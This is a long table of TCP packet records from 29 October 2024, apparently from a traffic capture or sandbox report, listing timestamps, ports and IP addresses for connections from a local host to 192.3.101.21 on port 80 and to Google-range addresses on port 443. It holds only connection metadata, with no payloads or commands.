                                                                                                                                                                                                Oct 29, 2024 16:31:08.110044003 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.110059023 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.110059977 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.110076904 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.110080957 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.110091925 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.110114098 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.110929012 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.110945940 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.110963106 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.110975981 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.110991955 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.110999107 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.111021042 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.151854992 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.151909113 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.151925087 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.151941061 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.151985884 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.152204990 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.223987103 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.224005938 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.224023104 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.224044085 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.224047899 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.224055052 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.224066973 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.224081993 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.224087000 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.224100113 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.224107027 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.224118948 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.224137068 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.224327087 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.224510908 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.224524975 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.224566936 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.224571943 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.224581003 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.224589109 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.224606037 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.224622965 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.224625111 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.224639893 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.224643946 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.224661112 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.224679947 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.225341082 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.225358009 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.225373983 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.225379944 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.225387096 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.225399971 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.225405931 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.225418091 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.225435019 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.225450993 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.225455046 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.225472927 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.225486994 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.226313114 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.226314068 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.226372004 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.226387024 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.226409912 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.226417065 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.226434946 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.226452112 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.226468086 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.226475954 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.226484060 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.226486921 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.226504087 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.226522923 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.227310896 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.227355957 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.227358103 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.227375031 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.227391005 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.227394104 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.227407932 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.227408886 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.227425098 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.227428913 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.227446079 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.227447033 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.227461100 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.227483988 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.228209972 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.228225946 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.228243113 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.228250027 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.228259087 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.228271008 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.228337049 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.228353024 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.228368998 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.228375912 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.228384972 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.228387117 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.228403091 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.228423119 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.229124069 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.229163885 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.230324030 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.267946005 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.267962933 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.267987013 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.268002987 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.268019915 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.268028975 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.268047094 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.268054008 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.268122911 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.340034008 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.340049028 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.340058088 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.340097904 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.340109110 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.340115070 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.340133905 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.340147018 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.340147972 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.340188026 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.340229034 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.340253115 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.340269089 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.340280056 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.340291977 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.340305090 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.340338945 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.340415955 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.340423107 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.340496063 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.340538025 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.340593100 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.340630054 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.340647936 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.340672970 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.340676069 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.340682030 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.340691090 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.340708017 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.340723991 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.340728998 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.340742111 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.340760946 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.340915918 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.340930939 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.340940952 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.340967894 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.340981007 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.341017962 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.341033936 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.341049910 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.341059923 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.341067076 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.341068029 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.341087103 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.341100931 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.341471910 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.341487885 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.341505051 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.341517925 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.341527939 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.341531038 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.341545105 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.341548920 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.341566086 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.341582060 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.341583014 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.341602087 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.341617107 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.341631889 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.341648102 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.341662884 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.341675043 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.341681957 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.341701031 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.342255116 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.342282057 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.342298031 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.342300892 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.342314959 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.342327118 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.342334032 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:08.342334986 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.342356920 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.342366934 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:08.479779959 CET4917180192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:13.052733898 CET8049172192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:13.052789927 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:13.309040070 CET49173443192.168.2.22142.250.184.206
                                                                                                                                                                                                Oct 29, 2024 16:31:13.309103012 CET44349173142.250.184.206192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:13.309159994 CET49173443192.168.2.22142.250.184.206
                                                                                                                                                                                                Oct 29, 2024 16:31:13.312654972 CET49173443192.168.2.22142.250.184.206
                                                                                                                                                                                                Oct 29, 2024 16:31:13.312670946 CET44349173142.250.184.206192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:14.184025049 CET44349173142.250.184.206192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:14.184799910 CET44349173142.250.184.206192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:14.184830904 CET49173443192.168.2.22142.250.184.206
                                                                                                                                                                                                Oct 29, 2024 16:31:14.184858084 CET44349173142.250.184.206192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:14.184904099 CET49173443192.168.2.22142.250.184.206
                                                                                                                                                                                                Oct 29, 2024 16:31:14.190393925 CET49173443192.168.2.22142.250.184.206
                                                                                                                                                                                                Oct 29, 2024 16:31:14.190399885 CET44349173142.250.184.206192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:14.190743923 CET44349173142.250.184.206192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:14.308108091 CET49173443192.168.2.22142.250.184.206
                                                                                                                                                                                                Oct 29, 2024 16:31:14.351377964 CET44349173142.250.184.206192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:14.684313059 CET44349173142.250.184.206192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:14.689384937 CET49173443192.168.2.22142.250.184.206
                                                                                                                                                                                                Oct 29, 2024 16:31:14.689441919 CET44349173142.250.184.206192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:14.689498901 CET49173443192.168.2.22142.250.184.206
                                                                                                                                                                                                Oct 29, 2024 16:31:14.710813046 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:14.710832119 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:14.710886002 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:14.720423937 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:14.720436096 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:15.612695932 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:15.612824917 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:15.627502918 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:15.627522945 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:15.628005028 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:15.631027937 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:15.675335884 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:17.234327078 CET4917280192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:18.237556934 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:18.237796068 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:18.267270088 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:18.267467022 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:18.357589960 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:18.357671022 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:18.357721090 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:18.357743025 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:18.359878063 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:18.369350910 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:18.375560999 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:18.375588894 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:18.375633001 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:18.375643015 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:18.375814915 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:18.382847071 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:18.500597954 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:18.500647068 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:18.500678062 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:18.500718117 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:18.500761032 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:18.500827074 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:18.500827074 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:18.500844002 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:18.500972986 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:18.501008987 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:18.501013994 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:18.501050949 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:18.501055956 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:18.503617048 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:18.503652096 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:18.503690004 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:18.503695965 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:18.594398022 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:18.594446898 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:18.594610929 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:18.594624996 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:18.594695091 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:18.607084036 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:18.613897085 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:18.613946915 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:18.614063978 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:18.614072084 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:18.614123106 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:18.622546911 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:18.622641087 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:18.622679949 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:18.622693062 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:18.622716904 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:18.623769999 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:18.714102983 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:18.714216948 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:18.714334011 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:18.714350939 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:18.726346970 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:18.726434946 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:18.726447105 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:18.733258009 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:18.733406067 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:18.733436108 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:18.742007017 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:18.742048025 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:18.742074966 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:18.742084980 CET44349174172.217.16.193192.168.2.22
